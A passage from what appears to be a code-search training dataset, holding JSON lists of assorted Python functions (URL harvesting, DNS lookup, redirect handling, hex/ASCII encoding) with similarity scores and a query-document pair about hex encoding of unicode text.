return extracted\",\n \"def uri(self):\\n if not self.parallel:\\n if len(self.WMO) <= 5: # todo: This max WMO number should be parameterized somewhere else\\n # Retrieve all WMOs in a single request\\n return [self.get_url()]\\n else:\\n # Retrieve one WMO by URL sequentially (same behaviour as localftp and argovis)\\n urls = []\\n for wmo in self.WMO:\\n urls.append(\\n Fetch_wmo(\\n WMO=wmo, CYC=self.CYC, ds=self.dataset_id, parallel=False\\n ).get_url()\\n )\\n return urls\\n else:\\n self.Chunker = Chunker(\\n {\\\"wmo\\\": self.WMO}, chunks=self.chunks, chunksize=self.chunks_maxsize\\n )\\n wmo_grps = self.Chunker.fit_transform()\\n # self.chunks = C.chunks\\n urls = []\\n for wmos in wmo_grps:\\n urls.append(\\n Fetch_wmo(\\n WMO=wmos, CYC=self.CYC, ds=self.dataset_id, parallel=False\\n ).get_url()\\n )\\n return urls\",\n \"def harvest_urls():\\n manifest = []\\n category = {}\\n subcategory = {}\\n directoryfiles = \\\"%s/directory_listing/\\\" % config['PREFIX']\\n # ^^ the directory containing the HTML from the Technorati site.\\n\\n #Set up directory for intermediate data: MANIFEST\\n #MANIFEST contains: Category, Subcategory, Title and URL.\\n #and is a roster of URLs of blogs to autodiscover.\\n if not os.path.exists(prefix + \\\"meta\\\"):\\n os.mkdir(prefix + \\\"meta\\\")\\n else:\\n #TO DO: What if meta exists but MANIFEST got deleted?\\n logging.info(\\\"Blog URLs already harvested. Skipping...\\\")\\n return\\n\\n #Iterate through each file in the directory and extract blog URLs.\\n for infile in glob.glob(os.path.join(directoryfiles, '*.html')):\\n logging.info(\\\"Harvesting blog URLs from %s.\\\" % infile)\\n dirpage = file(infile)\\n root = parse(dirpage).getroot()\\n #Rather than infer the category from the filename, just extract\\n #it from the file. Not the best way to do this, hit is minimal.\\n\\tpieces = infile.split('/')[-1].split('_')\\n\\tcat = pieces[1]\\n\\tsubcat = None\\n\\tif len(pieces) == 4:\\n\\t\\tsubcat = pieces[2]\\n blogs = root.xpath(\\\"//td[@class='site-details']\\\")\\n #Iterate through all of the blogs listed on the page.\\n for blog in blogs:\\n url = blog.xpath(\\\"a[@class='offsite']\\\")[0].text\\n title = blog.xpath('h3/a')[0].text\\n OUT = open(prefix + \\\"meta/MANIFEST\\\", \\\"a\\\")\\n #Store the category of the blog.\\n category[url] = cat\\n if subcat:\\n output = [cat, subcat, title.encode('utf-8').replace(' ', ' '), url]\\n subcategory[url] = subcat\\n print >> OUT, ' '.join(output)\\n else:\\n output = [cat, \\\"NA\\\", title.encode('utf-8').replace(' ', ' '), url]\\n print >> OUT, '\\\\t'.join(output)\\n manifest.append(output)\\n OUT.close()\\n # This is a hack to get around having to use a database.\\n # TODO: Reimplement using a database.\\n BLOGCATS = open(prefix + \\\"blogcats.pickle\\\", \\\"w\\\")\\n cPickle.dump(category, BLOGCATS)\\n BLOGCATS.close()\\n return manifest\",\n \"def _filter_entries_by_url(self, url, har):\\r\\n if not har:\\r\\n har = self.har\\r\\n \\r\\n matches = []\\r\\n for entry in har[\\\"log\\\"][\\\"entries\\\"]:\\r\\n if url in entry[\\\"request\\\"][\\\"url\\\"]:\\r\\n matches.append(entry)\\r\\n return matches\",\n \"def recursive_dns_lookup(target_name, qtype, root_servers_list):\\n\\n # Base case\\n if not root_servers_list:\\n return None\\n\\n # Create dns query based on the target_name (website)\\n # and qtype (queue type: CNAME, A, AAAA, or MX)\\n dns_query = dns.message.make_query(target_name, qtype)\\n\\n for server in root_servers_list:\\n # Doing a try catch to check if the dns server times out,\\n # if it does then we continue and try another server\\n try:\\n query_response = dns.query.udp(dns_query, server, 3)\\n except dns.exception.Timeout:\\n continue\\n # If there's an answer in the response\\n if query_response.answer:\\n # Search through the response.answer for possible answers\\n for response_answers in query_response.answer:\\n #print(\\\"response_answers: \\\", response_answers)\\n for response_answer in response_answers:\\n #print(\\\"Response_answer\\\", response_answer)\\n target_name = str(response_answer)[:-1] # Removes the period at the end\\n #print(\\\"Target_name\\\", target_name)\\n # If we don't get the reponse we're after then\\n # continue searching through the root_servers\\n if response_answer.rdtype != qtype:\\n if response_answer.rdtype == 5:\\n return recursive_dns_lookup(target_name, qtype, ROOT_SERVERS)\\n else:\\n # Return the answer we wanted\\n return query_response\\n else: # If there isn't an answer in the response then we check additional\\n\\n # If we do have something in additional then get the stuff inside\\n if query_response.additional:\\n ip_addresses = []\\n for response_additional in query_response.additional:\\n #print(\\\"response_additional: \\\", response_additional)\\n # Convert to string then send to function for parsing the address out\\n response_additional_str = str(response_additional)\\n\\n #print(\\\"function get_address resp:\\\", resp)\\n resp_elements = response_additional_str.split()\\n #print(\\\"function get_address resp_elements:\\\", resp_elements)\\n ip_address = []\\n for resp_element in resp_elements:\\n #print(\\\"function get_address resp_element:\\\", resp_element)\\n if resp_element != 'A':\\n continue\\n else:\\n #print(\\\"function get_address resp_element = A:\\\", resp_element)\\n #print(\\\"function get_address address:\\\", resp_elements[-1])\\n ip_address.append(resp_elements[-1])\\n ip_addresses += ip_address\\n\\n return recursive_dns_lookup(target_name, qtype, ip_addresses)\",\n \"def GET(self, req):\\n resp = req.get_response(self.app)\\n referers=resp.headers['X-Container-Read']\\n\\treal_referers=get_oss_refer(referers)\\n elem = Element('RefererConfiguration')\\n SubElement(elem, 'AllowEmptyReferer').text='true'\\n referer_list=SubElement(elem, 'RefererList')\\n\\tif real_referers is None:\\n\\t SubElement(referer_list, 'Referer').text=''\\n\\t body = tostring(elem)\\n\\t return HTTPOk(body=body, content_type='application/xml')\\n\\tif real_referers =='*':\\n\\t SubElement(referer_list, 'Referer').text='*'\\n\\t body = tostring(elem)\\n\\t return HTTPOk(body=body, content_type='application/xml')\\n\\tfor refer in real_referers.split(','):\\n\\t SubElement(referer_list, 'Referer').text=refer\\n body = tostring(elem)\\n\\n return HTTPOk(body=body, content_type='application/xml')\",\n \"def run_query(rule, ip_source=None, ip_dest=None):\\n res = []\\n\\n g = NetworkGraph.NetworkGraph()\\n\\n\\n # get all simple path\\n start = time.time()\\n simple_path = g.get_all_simple_path_new(rule, [])\\n if len(simple_path):\\n create_graph(simple_path)\\n return ([\\\"success\\\"],[])\\n else:\\n return ([],[])\\n\\n simple_path = g.get_all_simple_path(ip_source, ip_dest)\\n end = time.time()\\n print 'temps mis = ', str(end - start)\\n print 'simple len', len(simple_path)\\n\\n\\n for node in g.graph.nodes(data=True):\\n if node[1]['object'].marker_type == 'from':\\n ip_source = node[0]\\n if node[1]['object'].marker_type == 'to':\\n ip_dest = node[0]\\n\\n \\\"\\\"\\\"\\n simple_path = []\\n [simple_path.append(i) for i in g.get_all_simple_path(ip_source, ip_dest)]\\n # delete double\\n simple_path.sort()\\n simple_path = list(simple_path for simple_path, _ in itertools.groupby(simple_path))\\n \\\"\\\"\\\"\\n\\n\\n ress = []\\n count = 0\\n length = len(simple_path)\\n for i in range(len(simple_path)):\\n pass # print simple_path[i]\\n for path in simple_path:\\n i = 0\\n trouve = False\\n while i < len(path):\\n if i < len(path) - 1:\\n # if path[i] and path[i + 1] are ip, find the corresponding firewall to add in the path, so we can\\n # mark the path passing through the firewall\\n if not isinstance(path[i], Firewall.Firewall) and not isinstance(path[i + 1], Firewall.Firewall):\\n # get the firewall\\n trouve = True\\n i += 1\\n if trouve == False:\\n ress.append(path)\\n simple_path = list(ress)\\n # parse all path\\n for path in simple_path:\\n count += 1\\n Gtk_Main.Gtk_Main().statusbar.change_message(\\\"QueryPath : test path %d of %d\\\" % (count, length))\\n Gtk_Main.Gtk_Main().update_interface()\\n # list of rule list\\n rule_list = [[]]\\n i = 0\\n while i < len(path) - 1:\\n # list of acl between path[i] and path[i + 1] who match the query\\n acl_list = []\\n for acl in g.get_acl_list(path[i], path[i + 1]):\\n sub_rule = get_subset_rule(rule, acl.get_rules())\\n if sub_rule and sub_rule.action.chain:\\n acl_list.append((acl, sub_rule))\\n # acl_list empty : this mean we don't find an accepting rule between path[i] and path[i + 1]\\n # so we give up\\n if not acl_list:\\n break\\n\\n # duplicate rule_list depending on the number of acl found in acl_list\\n # this mean that if we found to acl who match the query between path[i] and path[i + 1],\\n # we duplicate the rule_list to have all acl and rules possible\\n rule_list += [list(l) for l in rule_list for _ in xrange(len(acl_list) - 1)]\\n [rule_list[j].append(acl_list[j * len(acl_list) / len(rule_list)]) for j in xrange(len(rule_list))]\\n i += 1\\n\\n if i == len(path) - 1:\\n # res += [(list(path), rule_list[0])]\\n # res += [(list(path), [l for l in rule_list])]\\n\\n for l in rule_list:\\n # add the path list for each list in rule_list\\n res += [(list(path), l)]\\n\\n # format result #\\n for path_data in res:\\n path = path_data[0]\\n i = 0\\n acl_index = 0\\n while i < len(path):\\n if i < len(path) - 1:\\n # if path[i] and path[i + 1] are ip, find the corresponding firewall to add in the path, so we can\\n # mark the path passing through the firewall\\n if not isinstance(path[i], Firewall.Firewall) and not isinstance(path[i + 1], Firewall.Firewall):\\n # get the firewall\\n fw = [fw for fw in g.firewalls for acl in g.get_acl_list(firewall=fw)\\n if acl == path_data[1][acl_index][0]][0]\\n path.insert(i + 1, fw)\\n acl_index -= 1\\n i += 1\\n acl_index += 1\\n routed_paths = get_routed_paths(list(res), ip_dest)\\n # print res[0][0]\\n\\n # delete double from res\\n\\n # remove_double(res)\\n # remove_bad_path(res)\\n # print 'res', res\\n\\n # delete bad results : path containing the same firewall twice or more\\n\\n return (res, routed_paths)\",\n \"def URLs(self, default=[{}]):\\n tmp = self.data.get('metadata', {}).get('urls', default)\\n return [HEP.URLObject(i) for i in tmp]\",\n \"def fetch_web_cont(self):\\n with open(self.input_file) as input_file:\\n data = yaml.load(input_file, yaml.FullLoader)\\n url_list = data.get(self.url_access)\\n regex_list = data.get(self.regex_access)\\n\\n print('Fetching data:')\\n\\n for url in url_list:\\n # This restores the same behavior as before.\\n # Enabling certificate verification by default for stdlib http clients\\n context = ssl._create_unverified_context()\\n run_time = datetime.now().strftime(\\\"Date: %d-%m-%Y Time: %I:%M:%S:%f_%p\\\")\\n start = time.perf_counter()\\n web_resp = request.urlopen(url, context=context)\\n respData = web_resp.read()\\n resp_time = '%0.2f s' % (time.perf_counter() - start)\\n\\n for regex in regex_list:\\n contents = re.findall(regex, str(respData))\\n with open(self.output_file, 'a') as file:\\n if not contents:\\n print(run_time, ' | URL: ', url, '| content not found with this regex: ', regex,\\n file=file)\\n\\n else:\\n for content in contents:\\n print(run_time, ' | URL: ', url, ' | Response Time: ', resp_time,\\n url, ' | Contents: ', content, file=file)\\n \\n with open(self.output_file, 'a') as file:\\n \\n print('\\\\n#################################\\\\n', file=file)\",\n \"def get_url_dom(sid_dom):\\n opener = AppURLopener()\\n url_to_open = \\\"http://scop.berkeley.edu/sid=\\\" + sid_dom\\n\\n with opener.open(url_to_open) as response:\\n pq = pyq.PyQuery(response.read())\\n\\n list_hrefs = []\\n for a in pq.find('a'):\\n current_href = a.get('href')\\n if 'pdbstyle' in current_href and sid_dom in current_href:\\n list_hrefs.append(current_href)\\n\\n if len(list_hrefs) != 1:\\n print(\\\"ERROR: Several urls possible !! \\\")\\n sys.error(2)\\n else:\\n return list_hrefs[0]\",\n \"def get_urls(self):\\n # Use functools.reduce for speed\\n # see https://stackoverflow.com/questions/10461531/merge-and-sum-of-two-dictionaries\\n def reducer(accumulator, dictionary):\\n for key, value in dictionary.items():\\n accumulator[key] = accumulator.get(key, []) + value\\n return accumulator\\n\\n list_of_dicts = []\\n for (year, quarter, f) in self.quarterly_date_list:\\n self.quarterly.year = year\\n self.quarterly.quarter = quarter\\n self.quarterly.entry_filter = lambda x: f(x) and self.entry_filter(x)\\n list_of_dicts.append(self.quarterly.get_urls())\\n\\n for d in self.daily_date_list:\\n self.daily.date = d\\n try:\\n list_of_dicts.append(self.daily.get_urls())\\n except EDGARQueryError:\\n pass\\n\\n complete_dictionary = reduce(reducer, list_of_dicts, {})\\n return complete_dictionary\",\n \"def UrlParse(url, base_url, root_path):\\n ref_dir = url.split(base_url)[1].split(r'/')\\n saving_path = copy.deepcopy(root_path)\\n print(\\\"ref split rel dir:{}\\\".format(ref_dir))\\n\\n for item in ref_dir[1:-1]:\\n saving_path = path.join(saving_path, item)\\n\\n ref_html = ref_dir[-1]\\n return saving_path, ref_html\",\n \"def filter_relationships(self, srcip, routes):\\n outroutes = []\\n return outroutes\",\n \"def get_urls_and_paths():\\n # Array to store tuples in (url, path) format.\\n urls_and_paths = []\\n\\n for file_name in os.listdir('tickers'):\\n # Sanity check. Only use text files.\\n if file_name.endswith('.txt'):\\n # Create a folder for each group (each txt file is a group)\\n group = os.path.splitext(file_name)[0]\\n\\n # Create the folder for storing stock price data.\\n os.makedirs('data/' + group)\\n\\n # Open the file.\\n input_file = open('tickers/' + file_name)\\n\\n # For each line (stock), create the GET URL and store the save location.\\n for line in input_file.read().splitlines():\\n urls_and_paths.append((\\n 'https:/www.wsj.com/market-data/quotes/' + line + '/historical-prices/download?num_rows=100000000000000&range_days=100000000000000&startDate=01/01/1970&endDate=01/01/2040',\\n 'data/' + group + '/' + line.split('/')[-1] + '.csv'\\n ))\\n\\n return urls_and_paths\",\n \"def hits(self):\\n for record in self._results.items:\\n # Project the record\\n projection = self._schema.dump(\\n record,\\n context=dict(\\n identity=self._identity,\\n record=record,\\n ),\\n )\\n if self._links_item_tpl:\\n projection[\\\"links\\\"] = self._links_item_tpl.expand(\\n self._identity, record\\n )\\n\\n yield projection\",\n \"def get_urls(self, size=None, hashes=None, ids=None, start=0, limit=100):\\n if not (size or hashes or ids):\\n raise UserError(\\\"Please provide size/hashes/ids to filter\\\")\\n\\n with self.session as session:\\n query = session.query(IndexRecordUrl)\\n\\n query = query.join(IndexRecordUrl.index_record)\\n if size:\\n query = query.filter(IndexRecord.size == size)\\n if hashes:\\n for h, v in hashes.items():\\n # Select subset that matches given hash.\\n sub = session.query(IndexRecordHash.did)\\n sub = sub.filter(and_(\\n IndexRecordHash.hash_type == h,\\n IndexRecordHash.hash_value == v,\\n ))\\n\\n # Filter anything that does not match.\\n query = query.filter(IndexRecordUrl.did.in_(sub.subquery()))\\n if ids:\\n query = query.filter(IndexRecordUrl.did.in_(ids))\\n # Remove duplicates.\\n query = query.distinct()\\n\\n # Return only specified window.\\n query = query.offset(start)\\n query = query.limit(limit)\\n\\n return [\\n {'url': r.url,\\n 'metadata': {m.key: m.value for m in r.url_metadata}}\\n for r in query\\n ]\",\n \"def get_url(entry):\\n if 'response' in entry:\\n return entry['response']['url']\\n\\n return entry['request']['url']\",\n \"def process(source):\\n file = urlopen(source, context=ssl_context)\\n tree = ElementTree.parse(file)\\n\\n for item in tree.getroot():\\n location = item.find(TAGS['LOCATION'])\\n if location is not None:\\n print(location.text)\\n\\n file.close()\",\n \"def get_external_links(parsed_drug_doc):\\n\\n external_link_info = list(parsed_drug_doc.find(id='external-links').next_sibling.dl.children)\\n external_links = {}\\n for i in range(0, len(external_link_info), 2):\\n source = external_link_info[i].text\\n value = external_link_info[i+1].text\\n # Ignoring a few sources for this MVP that don't give obvious alternate IDs.\\n if source not in [\\\"RxList\\\", \\\"Drugs.com\\\", \\\"PDRhealth\\\"]:\\n external_links[source] = value\\n\\n return external_links\",\n \"def _lookup_url(self, endpoint, values):\\r\\n try:\\r\\n cont = self.get_container(values['container'])\\r\\n if cont.cdn_enabled:\\r\\n return \\\"%s/%s\\\" % (cont.cdn_uri, values['filename'])\\r\\n else:\\r\\n return None\\r\\n except: # pragma: no cover\\r\\n return None\",\n \"def get_download_url(lines):\\n target = 'detail.jsp?root='\\n #lines = list(lines) #debug\\n for line in lines:\\n if target in line:\\n fields = line.split(\\\"'\\\", 2)\\n root_url = fields[1]\\n return root_url.replace('detail', 'download')\\n else:\\n set_trace()\\n raise ValueError('%s not found.' % target)\",\n \"def parse_map(url_map):\\n ret = {}\\n for rule in url_map.iter_rules():\\n line = str(rule)\\n # first part if the rule specifies the endpoint\\n # between the first two '/' is the resource\\n resource = line.split(\\\"/\\\")[1]\\n # the endpoint is described by a regex, but we want only the name\\n path = re.sub(r'<(?:[^>]+:)?([^>]+)>', '{\\\\\\\\1}', line)\\n if resource not in ret:\\n # this is the first path of this resource, create dict-entry\\n ret[resource] = {'paths': {}, 'description': {}}\\n # add path to dict\\n ret[resource]['paths'][path] = {}\\n for method in rule.methods:\\n if method in ['GET', 'POST', 'PATCH', 'PUT', 'DELETE']:\\n # we only display these methods, other HTTP-Methods don't need\\n # documentation\\n ret[resource]['paths'][path][method] = {}\\n return ret\",\n \"def redirects(self) -> List[str]:\\n return self.root_hartree.redirects\",\n \"def matchWildcardUrls(url, listOfUrls):\\n if not url or not listOfUrls:\\n return None\\n pattern = re.compile('^[a-zA-Z][+a-zA-Z0-9.-]*:.*')\\n if not pattern.search(str(url)) and not url.startswith('//'):\\n url = '//' + url\\n cspUrl = urlparse(str(url)) \\n host = cspUrl.netloc.lower() or \\\"\\\"\\n hostHasWildcard = host.startswith(\\\"*.\\\")\\n wildcardFreeHost = re.sub(\\\"^\\\\*\\\", \\\"\\\", host, flags=re.IGNORECASE)\\n path = cspUrl.path or ''\\n hasPath = len(cspUrl.path) > 0 \\n\\n for url2 in listOfUrls:\\n url = urlparse(str(url2))\\n domain = url.netloc.lower() or \\\"\\\"\\n domainHasWildCard = domain.startswith(\\\"*.\\\")\\n if (not domainHasWildCard):\\n if (not domain.endswith(wildcardFreeHost) ): \\n continue\\n if (not hostHasWildcard and host != domain):\\n continue\\n else:\\n domainparts = list(reversed(domain.split('.')))\\n hostparts = list(reversed(host.split('.')))\\n stop = False\\n domainlen = len(domain.split('.'))\\n hostlen = len(host.split('.'))\\n \\n for idx, domainpart in enumerate(domainparts):\\n if idx < hostlen:\\n hostpart = hostparts[idx]\\n if hostpart != domainpart and (domainpart != '*' and hostpart != '*'):\\n stop = True\\n if stop:\\n continue\\n if (hasPath):\\n if (path.endswith('/')): \\n if (not url.path.startswith(path)):\\n continue\\n elif (url.path != path):\\n continue\\n\\n return url\\n\\n return None\",\n \"def crawl_url_links(input_dict):\\n\\n extractor_name=input_dict.get('extractor','DefaultExtractor')\\n import requests\\n label=input_dict['label']\\n urls,_, source, source_date=_process_input(input_dict['input'],False)\\n\\n\\n docs=[]\\n titles=[]\\n for url in urls:\\n print(url)\\n try:\\n r = requests.get(url)\\n except ConnectionError:\\n continue\\n if r.status_code==200:\\n html=r.text\\n from boilerpipe.extract import Extractor\\n extractor = Extractor(extractor=extractor_name, html=html)\\n\\n titles.append(url)\\n text=''\\n if label:\\n text+='!'+label+'\\\\t'\\n text+=extractor.getText()\\n docs.append(text)\\n\\n\\n corpus_date = str(time.strftime(\\\"%d.%m.%Y %H:%M:%S\\\", time.localtime()))\\n documents, labels = _process_adc(docs, False, label, titles)\\n features = {\\\"Source\\\": source, \\\"SourceDate\\\": source_date, \\\"CorpusCreateDate\\\": corpus_date,\\n \\\"Labels\\\": json.dumps([label]) if label else '[]'}\\n\\n return {\\\"adc\\\": DocumentCorpus(documents=documents, features=features)}\",\n \"def same_website(url_rec, u_rec):\\n if isinstance(url_rec, string_types):\\n url_rec = urlparse(url_rec)\\n if isinstance(u_rec, string_types):\\n u_rec = urlparse(u_rec)\\n return (url_rec.netloc == u_rec.netloc)\\n # todo: collect more of sample cases.\\n # disabled below check while working on ratholeradio, since links\\n # could go to the parent and that is ok. Figure out when it was\\n # desired not to go to the parent -- we might need explicit option\\n # and u_rec.path.startswith(url_rec.path)):\",\n \"def ComputeManualRedirectUrl(self, uri):\\n # Redircts are defined in a file named redirects.yaml.\\n try:\\n f = open(self.REDIRECT_FILE)\\n data = yaml.load(f)\\n f.close()\\n except IOError, e:\\n logging.warning('Error opening redirect file (' + self.REDIRECT_FILE +\\n '): ' + e.strerror)\\n return (uri, None)\\n\\n # The incoming path is missing a leading slash. However, many parts of the\\n # redirect system require leading slashes to distinguish between relative\\n # and absolute redirects. So, to compensate for this, we'll add a leading\\n # slash here as well.\\n uri = '/' + uri\\n\\n # Check to make sure we actually got an iterable list out of the YAML file\\n if data is None:\\n logging.warning('Redirect file (' + self.REDIRECT_FILE + ') not valid '\\n 'YAML.')\\n elif 'redirects' not in data:\\n logging.warning('Redirect file (' + self.REDIRECT_FILE + ') not '\\n 'properly formatted -- no \\\\'redirects:\\\\' header.')\\n elif hasattr(data['redirects'], '__iter__'):\\n # Iterate through redirect data, try to find a redirect that matches.\\n for redirect in data['redirects']:\\n # Note: re.search adds an implied '^' to the beginning of the regex\\n # This means that the regex must match from the beginning of the\\n # string.\\n try:\\n if re.match(redirect[self.REDIRECT_SRC], uri):\\n # Match found. Apply redirect rule.\\n redirect_uri = re.sub('^' + redirect[self.REDIRECT_SRC],\\n redirect[self.REDIRECT_DST], uri)\\n logging.info('Redirect rule matched.\\\\n'\\n 'Rule: %s\\\\n'\\n 'Src: %s\\\\n'\\n 'Dst: %s',\\n redirect[self.REDIRECT_SRC], uri, redirect_uri)\\n if self.REDIRECT_TYPE in redirect:\\n redirect_type = redirect[self.REDIRECT_TYPE]\\n else:\\n # Default redirect type, if unspecified\\n redirect_type = self.REDIRECT_TYPE_PERM\\n return (redirect_uri, redirect_type)\\n except:\\n e = sys.exc_info()[1]\\n raise ('Error while processing redirect rule.\\\\n'\\n 'Rule: %s\\\\n'\\n 'Error: %s' % (redirect[self.REDIRECT_SRC], e))\\n # No redirect found, return URL unchanged\\n return (uri, None)\"\n]","isConversational":false},"negative_scores":{"kind":"list like","value":["0.648302","0.58565474","0.57382894","0.56618035","0.55831033","0.55718136","0.5427328","0.5408748","0.53590286","0.53027636","0.526104","0.52590644","0.5210608","0.5188143","0.5162076","0.5156036","0.51295507","0.51037467","0.50811","0.5069011","0.50665647","0.506475","0.5036145","0.50289774","0.49940535","0.49844387","0.49792275","0.49578828","0.49511132","0.49468654","0.49257743","0.49232745","0.49227366","0.49114904","0.4899447","0.4886742","0.48781368","0.48727408","0.48717478","0.48617432","0.48598087","0.48528925","0.483909","0.4838033","0.48197612","0.48142543","0.4813553","0.48114434","0.48093566","0.48049784","0.47960848","0.47949734","0.47922018","0.47891897","0.47821936","0.4781804","0.47814626","0.47777495","0.47711027","0.4768326","0.47594672","0.47518376","0.47457278","0.47368655","0.4733663","0.47253677","0.4723463","0.47161004","0.4712359","0.47122434","0.47108656","0.47085243","0.47035983","0.47032708","0.47004893","0.46893302","0.46863687","0.46815363","0.4671212","0.46704233","0.46700168","0.46427956","0.463451","0.46337807","0.46317995","0.4631016","0.46255395","0.46251622","0.4616941","0.46118665","0.46103665","0.46066558","0.460647","0.4605562","0.4603499","0.46028474","0.46014896","0.46004152","0.46003082","0.45981982"],"string":"[\n \"0.648302\",\n \"0.58565474\",\n \"0.57382894\",\n \"0.56618035\",\n \"0.55831033\",\n \"0.55718136\",\n \"0.5427328\",\n \"0.5408748\",\n \"0.53590286\",\n \"0.53027636\",\n \"0.526104\",\n \"0.52590644\",\n \"0.5210608\",\n \"0.5188143\",\n \"0.5162076\",\n \"0.5156036\",\n \"0.51295507\",\n \"0.51037467\",\n \"0.50811\",\n \"0.5069011\",\n \"0.50665647\",\n \"0.506475\",\n \"0.5036145\",\n \"0.50289774\",\n \"0.49940535\",\n \"0.49844387\",\n \"0.49792275\",\n \"0.49578828\",\n \"0.49511132\",\n \"0.49468654\",\n \"0.49257743\",\n \"0.49232745\",\n \"0.49227366\",\n \"0.49114904\",\n \"0.4899447\",\n \"0.4886742\",\n \"0.48781368\",\n \"0.48727408\",\n \"0.48717478\",\n \"0.48617432\",\n \"0.48598087\",\n \"0.48528925\",\n \"0.483909\",\n \"0.4838033\",\n \"0.48197612\",\n \"0.48142543\",\n \"0.4813553\",\n \"0.48114434\",\n \"0.48093566\",\n \"0.48049784\",\n \"0.47960848\",\n \"0.47949734\",\n \"0.47922018\",\n \"0.47891897\",\n \"0.47821936\",\n \"0.4781804\",\n \"0.47814626\",\n \"0.47777495\",\n \"0.47711027\",\n \"0.4768326\",\n \"0.47594672\",\n \"0.47518376\",\n \"0.47457278\",\n \"0.47368655\",\n \"0.4733663\",\n \"0.47253677\",\n \"0.4723463\",\n \"0.47161004\",\n \"0.4712359\",\n \"0.47122434\",\n \"0.47108656\",\n \"0.47085243\",\n \"0.47035983\",\n \"0.47032708\",\n \"0.47004893\",\n \"0.46893302\",\n \"0.46863687\",\n \"0.46815363\",\n \"0.4671212\",\n \"0.46704233\",\n \"0.46700168\",\n \"0.46427956\",\n \"0.463451\",\n \"0.46337807\",\n \"0.46317995\",\n \"0.4631016\",\n \"0.46255395\",\n \"0.46251622\",\n \"0.4616941\",\n \"0.46118665\",\n \"0.46103665\",\n \"0.46066558\",\n \"0.460647\",\n \"0.4605562\",\n \"0.4603499\",\n \"0.46028474\",\n \"0.46014896\",\n \"0.46004152\",\n \"0.46003082\",\n \"0.45981982\"\n]","isConversational":false},"document_score":{"kind":"string","value":"0.6712598"},"document_rank":{"kind":"string","value":"0"}}},{"rowIdx":14480,"cells":{"query":{"kind":"string","value":"Temporary ASCII encoding for human readable hex with ' ' as delimiter for detecting nonLatin unicode."},"document":{"kind":"string","value":"def hexify(c):\n try:\n s = c.encode(\"utf-8\").encode(\"hex\")\n except UnicodeDecodeError:\n s = 0\n n = len(s)\n if n <= 2: return s\n a = ' - '.join([s[i:i+2] for i in range(0,n,2)])\n return a[:-1]"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["def to_ascii(text):\n return re.sub(r'[^\\x00-\\x7F]+', ' ', text)","def hexbyte(string):\n#\treturn repr(string)\n\ts = \"\"\n\tfor i in string:\n\t\tif (ord(i) >= ord('A') and ord(i) <= ord('z')) \\\n\t\t\tor (ord(i) >= ord('0') and ord(i) <= ord('9')) \\\n\t\t\tor (ord(i) == ord(\" \")):\n\t\t\ts += \"%s\" % i\n\t\telse:\n\t\t\ts += \"\\\\x%02x\" % ord(i)\n\n#\t\ts += \" \"\n\treturn s","def unicode2ascii(_unicrap):\n xlate = {0xc0:'A', 0xc1:'A', 0xc2:'A', 0xc3:'A', 0xc4:'A', 0xc5:'A',\n 0xc6:'Ae', 0xc7:'C',\n 0xc8:'E', 0xc9:'E', 0xca:'E', 0xcb:'E',\n 0xcc:'I', 0xcd:'I', 0xce:'I', 0xcf:'I',\n 0xd0:'Th', 0xd1:'N',\n 0xd2:'O', 0xd3:'O', 0xd4:'O', 0xd5:'O', 0xd6:'O', 0xd8:'O',\n 0xd9:'U', 0xda:'U', 0xdb:'U', 0xdc:'U',\n 0xdd:'Y', 0xde:'th', 0xdf:'ss',\n 0xe0:'a', 0xe1:'a', 0xe2:'a', 0xe3:'a', 0xe4:'a', 0xe5:'a',\n 0xe6:'ae', 0xe7:'c',\n 0xe8:'e', 0xe9:'e', 0xea:'e', 0xeb:'e',\n 0xec:'i', 0xed:'i', 0xee:'i', 0xef:'i',\n 0xf0:'th', 0xf1:'n',\n 0xf2:'o', 0xf3:'o', 0xf4:'o', 0xf5:'o', 0xf6:'o', 0xf8:'o',\n 0xf9:'u', 0xfa:'u', 0xfb:'u', 0xfc:'u',\n 0xfd:'y', 0xfe:'th', 0xff:'y',\n 0xa1:'!', 0xa2:'{cent}', 0xa3:'{pound}', 0xa4:'{currency}',\n 0xa5:'{yen}', 0xa6:'|', 0xa7:'{section}', 0xa8:'{umlaut}',\n 0xa9:'{C}', 0xaa:'{^a}', 0xab:'<<', 0xac:'{not}',\n 0xad:'-', 0xae:'{R}', 0xaf:'_', 0xb0:'{degrees}',\n 0xb1:'{+/-}', 0xb2:'{^2}', 0xb3:'{^3}', 0xb4:\"'\",\n 0xb5:'{micro}', 0xb6:'{paragraph}', 0xb7:'*', 0xb8:'{cedilla}',\n 0xb9:'{^1}', 0xba:'{^o}', 0xbb:'>>',\n 0xbc:'{1/4}', 0xbd:'{1/2}', 0xbe:'{3/4}', 0xbf:'?',\n 0xd7:'*', 0xf7:'/'\n }\n\n s = \"\"\n for i in _unicrap:\n ordi = ord(i)\n if ordi in xlate:\n s += xlate[ordi]\n elif ordi >= 0x80:\n pass\n else:\n s += str(i)\n return s","def test_unhexlify_bad_unicode():\n assert '' == uflash.unhexlify(\n ':020000040003F7\\n:10E000004D50FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF')","def to_ascii(s):\n return s.encode('ascii', 'ignore')","def force_ascii(text):\n return \"\".join([c for c in text if ord(c) < 128])","def __unicode_to_ascii(text):\n line = unicodedata.normalize('NFKD', text)\n return ''.join(c for c in line if not unicodedata.combining(c))","def test_unhexlify_not_python():\n assert '' == uflash.unhexlify(\n ':020000040003F7\\n:10E000000000000000000000000000000000000010')","def encodeHex(s):\n encoder = codecs.getencoder('hex_codec')\n hex, length = encoder(s)\n assert len(s) == length, \"Hex encoding incomplete\"\n return hex","def escapeEncode(s: unicode) -> unicode:\n ...","def _grab_unascii(self):\r\n unascii = \"\"\r\n while self._char != -1 and not self._char in \"\\x00\\t\\r\\n\":\r\n unascii += self._char\r\n self._get_char()\r\n return unascii","def ascii_to_hex_string(eng, control_codes={}):\n eng_bytestring = \"\"\n if not eng:\n return \"\"\n else:\n try:\n eng = str(eng)\n except UnicodeEncodeError:\n # Tried to encode a fullwidth number. Encode it as sjis instead.\n eng = eng.encode('shift-jis')\n\n eng_bytestring = eng\n\n for cc in control_codes:\n cc_hex = ascii_to_hex_string(cc)\n if cc_hex in eng_bytestring:\n eng_bytestring = eng_bytestring.replace(cc_hex, control_codes[cc])\n\n return eng_bytestring","def toHexa(data):\n\tresult = \"\"\n\tif isBytes(data):\n\t\tdata = data.decode(\"latin-1\")\n\tfor i in data:\n\t\tresult += \"\\\\x%02X\"%ord(i)\n\treturn result","def 